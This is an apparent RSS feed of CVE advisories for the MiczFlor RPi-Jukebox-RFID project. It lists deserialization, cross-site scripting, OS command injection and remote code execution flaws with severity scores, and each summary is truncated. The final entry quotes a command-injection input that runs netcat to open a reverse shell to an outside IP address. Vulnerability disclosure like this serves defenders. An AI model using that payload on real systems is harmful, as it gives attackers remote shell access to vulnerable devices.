https://patchthecve.com/CVEs with upgrade or downgrade fix stepshttps://patchthecve.com/cve/CVE-2025-63951.htmlhttps://patchthecve.com/cve/CVE-2025-63951.htmlTue, 13 Oct 2026 11:10:00 +0000HIGH 7.5: An insecure deserialization vulnerability exists in the rss-mp3.php script of the MiczFlor RPi-Jukebox-RFID project through commit 4b2334f0ae0e87c0568876fc41c48c38aa9a7014 (2025-10-07). The 'rss' GET parameter receives data that is passed directly to the unserialize() function without validation. Thhttps://patchthecve.com/cve/CVE-2025-10370.htmlhttps://patchthecve.com/cve/CVE-2025-10370.htmlWed, 17 Jun 2026 08:28:11 +0000LOW 3.5: A vulnerability was identified in MiczFlor RPi-Jukebox-RFID up to 2.8.0. This vulnerability affects unknown code of the file /htdocs/userScripts.php. The manipulation of the argument Custom script leads to cross site scripting. The attack is possible to be carried out remotely. The exploit is publichttps://patchthecve.com/cve/CVE-2025-10369.htmlhttps://patchthecve.com/cve/CVE-2025-10369.htmlWed, 17 Jun 2026 08:28:11 +0000LOW 3.5: A vulnerability was determined in MiczFlor RPi-Jukebox-RFID up to 2.8.0. This affects an unknown part of the file /htdocs/cardRegisterNew.php. Executing manipulation can lead to cross site scripting. The attack can be executed remotely. The exploit has been publicly disclosed and may be utilized. Thhttps://patchthecve.com/cve/CVE-2025-10368.htmlhttps://patchthecve.com/cve/CVE-2025-10368.htmlWed, 17 Jun 2026 08:28:11 +0000LOW 3.5: A vulnerability was found in MiczFlor RPi-Jukebox-RFID up to 2.8.0. Affected by this issue is some unknown functionality of the file /htdocs/manageFilesFolders.php. Performing manipulation results in cross site scripting. Remote exploitation of the attack is possible. The exploit has been made publihttps://patchthecve.com/cve/CVE-2025-10367.htmlhttps://patchthecve.com/cve/CVE-2025-10367.htmlWed, 17 Jun 2026 08:28:11 +0000LOW 3.5: A vulnerability has been found in MiczFlor RPi-Jukebox-RFID up to 2.8.0. Affected by this vulnerability is an unknown functionality of the file /htdocs/cardEdit.php. Such manipulation leads to cross site scripting. The attack may be launched remotely. The exploit has been disclosed to the public andhttps://patchthecve.com/cve/CVE-2025-10366.htmlhttps://patchthecve.com/cve/CVE-2025-10366.htmlWed, 17 Jun 2026 08:28:10 +0000LOW 3.5: A flaw has been found in MiczFlor RPi-Jukebox-RFID up to 2.8.0. Affected is an unknown function of the file /htdocs/inc.setWlanIpMail.php. This manipulation of the argument Email address causes cross site scripting. The attack may be initiated remotely. The exploit has been published and may be usedhttps://patchthecve.com/cve/CVE-2025-10328.htmlhttps://patchthecve.com/cve/CVE-2025-10328.htmlWed, 17 Jun 2026 08:28:07 +0000MEDIUM 6.3: A security vulnerability has been detected in MiczFlor RPi-Jukebox-RFID up to 2.8.0. Affected by this issue is some unknown functionality of the file /htdocs/api/playlist/playsinglefile.php. The manipulation of the argument File leads to os command injection. The attack may be initiated remotely. Thhttps://patchthecve.com/cve/CVE-2025-10327.htmlhttps://patchthecve.com/cve/CVE-2025-10327.htmlWed, 17 Jun 2026 08:28:07 +0000MEDIUM 6.3: A weakness has been identified in MiczFlor RPi-Jukebox-RFID up to 2.8.0. Affected by this vulnerability is an unknown functionality of the file /htdocs/api/playlist/shuffle.php. Executing manipulation of the argument playlist can lead to os command injection. The attack can be launched remotely. Thehttps://patchthecve.com/cve/CVE-2025-10326.htmlhttps://patchthecve.com/cve/CVE-2025-10326.htmlWed, 17 Jun 2026 08:28:07 +0000MEDIUM 6.3: A security flaw has been discovered in MiczFlor RPi-Jukebox-RFID up to 2.8.0. Affected is an unknown function of the file /htdocs/api/playlist/single.php. Performing manipulation of the argument playlist results in os command injection. The attack can be initiated remotely. The exploit has been relehttps://patchthecve.com/cve/CVE-2024-41369.htmlhttps://patchthecve.com/cve/CVE-2024-41369.htmlWed, 17 Jun 2026 07:47:40 +0000CRITICAL 9.8: RPi-Jukebox-RFID v2.7.0 was discovered to contain a remote code execution (RCE) vulnerability via htdocs\inc.setWifi.phphttps://patchthecve.com/cve/CVE-2024-41368.htmlhttps://patchthecve.com/cve/CVE-2024-41368.htmlWed, 17 Jun 2026 07:47:39 +0000CRITICAL 9.8: RPi-Jukebox-RFID v2.7.0 was discovered to contain a remote code execution (RCE) vulnerability via htdocs\inc.setWlanIpMail.phphttps://patchthecve.com/cve/CVE-2024-41367.htmlhttps://patchthecve.com/cve/CVE-2024-41367.htmlWed, 17 Jun 2026 07:47:39 +0000CRITICAL 9.8: RPi-Jukebox-RFID v2.7.0 was discovered to contain a remote code execution (RCE) vulnerability via htdocs\api\playlist\appendFileToPlaylist.phphttps://patchthecve.com/cve/CVE-2024-41366.htmlhttps://patchthecve.com/cve/CVE-2024-41366.htmlWed, 17 Jun 2026 07:47:39 +0000CRITICAL 9.8: RPi-Jukebox-RFID v2.7.0 was discovered to contain a remote code execution (RCE) vulnerability via htdocs\userScripts.phphttps://patchthecve.com/cve/CVE-2024-41364.htmlhttps://patchthecve.com/cve/CVE-2024-41364.htmlWed, 17 Jun 2026 07:47:39 +0000CRITICAL 9.8: RPi-Jukebox-RFID v2.7.0 was discovered to contain a remote code execution (RCE) vulnerability via htdocs\trackEdit.phphttps://patchthecve.com/cve/CVE-2024-41361.htmlhttps://patchthecve.com/cve/CVE-2024-41361.htmlWed, 17 Jun 2026 07:47:39 +0000CRITICAL 9.8: RPi-Jukebox-RFID v2.7.0 was discovered to contain a remote code execution (RCE) vulnerability via htdocs\manageFilesFolders.phphttps://patchthecve.com/cve/CVE-2024-0714.htmlhttps://patchthecve.com/cve/CVE-2024-0714.htmlWed, 17 Jun 2026 06:54:05 +0000MEDIUM 6.3: A vulnerability was found in MiczFlor RPi-Jukebox-RFID up to 2.5.0. It has been rated as critical. Affected by this issue is some unknown functionality of the file userScripts.php of the component HTTP Request Handler. The manipulation of the argument folder with the input ;nc 104.236.1.147 4444 -e